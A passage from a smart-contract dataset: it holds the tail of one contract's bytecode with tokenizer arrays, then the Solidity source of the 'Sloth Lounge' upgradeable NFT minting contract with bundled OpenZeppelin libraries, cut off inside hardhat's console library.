cd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202c07dd3ae26d85e5562ea7733686c59ccaa38e97732f5cfc226e2be5d9c24fa664736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22203,
2850,
2575,
2683,
2509,
2063,
22610,
2546,
2692,
2050,
2692,
2050,
2575,
2063,
2620,
2546,
2692,
2549,
2278,
2629,
2050,
2581,
2509,
2278,
2620,
7011,
2094,
14142,
6679,
2094,
2575,
2683,
2487,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1020,
1012,
1014,
1025,
3075,
3647,
18900,
2232,
1063,
3853,
5587,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
5760,
5651,
1006,
21318,
3372,
17788,
2575,
1007,
1063,
21318,
3372,
17788,
2575,
1039,
1027,
1037,
1009,
1038,
1025,
5478,
1006,
1039,
1028,
1027,
1037,
1010,
1000,
3647,
18900,
2232,
1024,
2804,
2058,
12314,
1000,
1007,
1025,
2709,
1039,
1025,
1065,
3853,
4942,
1006,
21318,
3372,
17788,
2575,
1037,
1010,
21318,
3372,
17788,
2575,
1038,
1007,
4722,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,416 | 0x951Da907b59a71fF1F4e7804AAaB8d895E9773E2 | // SPDX-License-Identifier: MIT
pragma solidity 0.8.9;
import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/security/PausableUpgradeable.sol";
import {MerkleProofUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/cryptography/MerkleProofUpgradeable.sol";
import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";
import "hardhat/console.sol";
contract SlothLounge is
Initializable,
OwnableUpgradeable,
ERC721Upgradeable,
ReentrancyGuardUpgradeable,
PausableUpgradeable
{
using StringsUpgradeable for uint256;
event TokenURISet(string indexed tokenUri);
event TokenURILocked(string indexed tokenUri);
event DevTipExecuted();
event SlothLoungeTreasuryReplenished(uint256 indexed amount);
address private constant TREASURY =
0x02f4CFd0E5af6DA87856B6E70d1B595dE45591bA;
address private constant SLOTH = 0x43Ae70BD9d4AE85fC13d07890879ECaF84Fd6ea3;
address private constant G = 0xd53f68c213786BB5B836B6882BbAB181f93ef062;
address private constant S = 0xa1D8BeF9008016Fcf2F8AD1b40E0122a5b3dDC71;
address private constant M = 0xF54b1A926319bc407eDB16ae9809C5FE47C365da;
// Tue Nov 09 2021 9PM UTC
uint256 public constant WHITELIST_SALE_STARTS = 1636491600;
uint256 public constant REGULAR_SALE_STARTS = WHITELIST_SALE_STARTS + 86400;
uint256 public constant PRICE = 40000000000000000;
uint256 public constant MAX_SLOTH_SUPPLY = 4500;
uint256 public constant GIVEAWAY_SUPPLY = 68 + 8 + 8 + 9;
uint256 public constant MAX_PER_WALLET = 20;
uint256 public constant MAX_PER_WHITELISTED = 5;
uint256 public constant OT_DEV_TIP = 435000000000000000;
string private constant METADATA_INFIX = "/metadata/";
string public constant PROVENANCE =
"62a20e450008bdf854b24eaa042bd38aae19283ebc515e004247041232dabac8";
// -- APPEND-ONLY STORAGE --
bytes32 private MERKLE_ROOT;
bool private otTipDone;
bool public tokenURILocked;
uint256 public totalSupply;
uint256 public giveawayMints;
uint256 private claimedBitMap;
mapping(address => uint256) private _mints;
string private _baseTokenUri;
function initialize() external initializer {
__ERC721_init("The Sloth Lounge", "SLTH");
__Ownable_init();
__Pausable_init();
__ReentrancyGuard_init();
MERKLE_ROOT = hex"c0d0be35e72372222728287f02704739f7afb8ee360f60ec3adfc2431f5f2b62";
_setTokenURI("https://api.theslothlounge.com");
_mintN(G, 2);
_mintN(SLOTH, 1);
_mintN(S, 2);
_mintN(M, 1);
}
function setMerkleRoot(bytes32 mRoot) external {
_enforceOnly(owner());
MERKLE_ROOT = mRoot;
}
function isWhitelistSalePeriod() external view returns (bool) {
return _isWhitelistPeriod();
}
function isRegularSalePeriod() external view returns (bool) {
return _isRegularPeriod();
}
function mintWhitelist(
uint256 sloths,
uint256 index,
bytes32[] calldata proof
) external payable {
_enforceNotPaused();
require(_isWhitelistPeriod(), "NotInWhitelistPeriod");
require(sloths > 0, "ZeroSlothsRequested");
require(sloths * PRICE == msg.value, "InvalidETHAmount");
uint256 bal = balanceOf(msg.sender);
require(bal + sloths <= MAX_PER_WHITELISTED, "MintingExceedsQuota");
verifyProof(index, msg.sender, proof);
_mintN(msg.sender, sloths);
if (bal + sloths == MAX_PER_WHITELISTED) {
_setClaimed(index);
}
}
/// @dev mint up to `sloth` tokens
function mint(uint256 sloths) public payable {
_enforceNotPaused();
require(_isRegularPeriod(), "NotInRegularSalePeriod");
require(sloths > 0, "ZeroSlothsRequested");
require(sloths * PRICE == msg.value, "InvalidETHAmount");
_mints[msg.sender] += sloths;
require(_mints[msg.sender] <= MAX_PER_WALLET, "MintingExceedsQuota");
uint256 MINTABLE = MAX_SLOTH_SUPPLY -
totalSupply -
(GIVEAWAY_SUPPLY - giveawayMints);
require(sloths <= MINTABLE, "MintingExceedsMaxSupply");
_mintN(msg.sender, sloths);
}
function mintOwner(address to, uint256 sloths) external {
_enforceOnly(owner());
require(sloths > 0, "ZeroSlothsRequested");
require(
giveawayMints + sloths <= GIVEAWAY_SUPPLY,
"GiveawaySupplyExceeded"
);
giveawayMints += sloths;
_mintN(to, sloths);
}
function withdraw() external {
if (!otTipDone) {
payable(M).transfer(OT_DEV_TIP);
otTipDone = true;
emit DevTipExecuted();
}
if (address(this).balance > 2) {
payable(TREASURY).transfer(address(this).balance / 2);
payable(SLOTH).transfer(address(this).balance);
emit SlothLoungeTreasuryReplenished(address(this).balance / 2);
}
}
function setTokenURI(string calldata newUri) external {
_setTokenURI(newUri);
}
function _setTokenURI(string memory newUri) internal {
_enforceOnly(owner());
require(!tokenURILocked, "TokenURILocked");
_baseTokenUri = newUri;
emit TokenURISet(_baseTokenUri);
}
function lockTokenURI() public {
_enforceOnly(owner());
if (!tokenURILocked) {
tokenURILocked = true;
emit TokenURILocked(_baseTokenUri);
}
}
function toggle() external {
_enforceOnly(owner());
if (paused()) _unpause();
else _pause();
}
/**
* @dev Returns placeholder for a minted token prior to reveal time,
* the regular tokenURI otherise.
*
* @param tokenId Identity of an existing (minted) Sloth NFT.
*/
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory result)
{
require(_exists(tokenId), "UnknownTokenId");
return
string(
abi.encodePacked(
_baseTokenUri,
METADATA_INFIX,
tokenId.toString(),
".json"
)
);
}
//
// BASEMENT
//
function _enforceOnly(address authorized) internal view {
require(msg.sender == authorized, "UnauthorizedAccess");
}
function _mintN(address to, uint256 sloths) internal nonReentrant {
for (uint256 t = 0; t < sloths; t++) {
_safeMint(to, totalSupply + t);
}
totalSupply += sloths;
}
function _isWhitelistPeriod() internal view returns (bool) {
return (block.timestamp >= WHITELIST_SALE_STARTS &&
block.timestamp < REGULAR_SALE_STARTS);
}
function _isRegularPeriod() internal view returns (bool) {
return block.timestamp >= REGULAR_SALE_STARTS;
}
function _enforceNotPaused() internal view {
require(!paused(), "SlothLoungePaused");
}
function verifyProof(
uint256 index,
address account,
bytes32[] calldata merkleProof
) internal view {
require(!_isClaimed(index), "AlreadyClaimed");
bytes32 node = keccak256(
abi.encodePacked(index, account, MAX_PER_WHITELISTED)
);
require(
MerkleProofUpgradeable.verify(merkleProof, MERKLE_ROOT, node),
"InvalidMerkleProof"
);
}
function _setClaimed(uint256 index) private {
claimedBitMap = claimedBitMap | (1 << index);
}
function _isClaimed(uint256 index) internal view returns (bool) {
uint256 mask = (1 << index);
return claimedBitMap & mask == mask;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721Upgradeable.sol";
import "./IERC721ReceiverUpgradeable.sol";
import "./extensions/IERC721MetadataUpgradeable.sol";
import "../../utils/AddressUpgradeable.sol";
import "../../utils/ContextUpgradeable.sol";
import "../../utils/StringsUpgradeable.sol";
import "../../utils/introspection/ERC165Upgradeable.sol";
import "../../proxy/utils/Initializable.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721Upgradeable.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721Upgradeable.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721Upgradeable.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721ReceiverUpgradeable.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
uint256[44] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
function __Ownable_init() internal initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function __Ownable_init_unchained() internal initializer {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuardUpgradeable is Initializable {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
function __ReentrancyGuard_init() internal initializer {
__ReentrancyGuard_init_unchained();
}
function __ReentrancyGuard_init_unchained() internal initializer {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/utils/Initializable.sol";
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
abstract contract PausableUpgradeable is Initializable, ContextUpgradeable {
/**
* @dev Emitted when the pause is triggered by `account`.
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by `account`.
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state.
*/
function __Pausable_init() internal initializer {
__Context_init_unchained();
__Pausable_init_unchained();
}
function __Pausable_init_unchained() internal initializer {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view virtual returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*
* Requirements:
*
* - The contract must not be paused.
*/
modifier whenNotPaused() {
require(!paused(), "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*
* Requirements:
*
* - The contract must be paused.
*/
modifier whenPaused() {
require(paused(), "Pausable: not paused");
_;
}
/**
* @dev Triggers stopped state.
*
* Requirements:
*
* - The contract must not be paused.
*/
function _pause() internal virtual whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Returns to normal state.
*
* Requirements:
*
* - The contract must be paused.
*/
function _unpause() internal virtual whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev These functions deal with verification of Merkle Trees proofs.
*
* The proofs can be generated using the JavaScript library
* https://github.com/miguelmota/merkletreejs[merkletreejs].
* Note: the hashing algorithm should be keccak256 and pair sorting should be enabled.
*
* See `test/utils/cryptography/MerkleProof.test.js` for some examples.
*/
library MerkleProofUpgradeable {
/**
* @dev Returns true if a `leaf` can be proved to be a part of a Merkle tree
* defined by `root`. For this, a `proof` must be provided, containing
* sibling hashes on the branch from the leaf to the root of the tree. Each
* pair of leaves and each pair of pre-images are assumed to be sorted.
*/
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
bytes32 computedHash = leaf;
for (uint256 i = 0; i < proof.length; i++) {
bytes32 proofElement = proof[i];
if (computedHash <= proofElement) {
// Hash(current computed hash + current element of the proof)
computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
} else {
// Hash(current element of the proof + current computed hash)
computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
}
}
// Check if the computed hash (root) is equal to the provided root
return computedHash == root;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
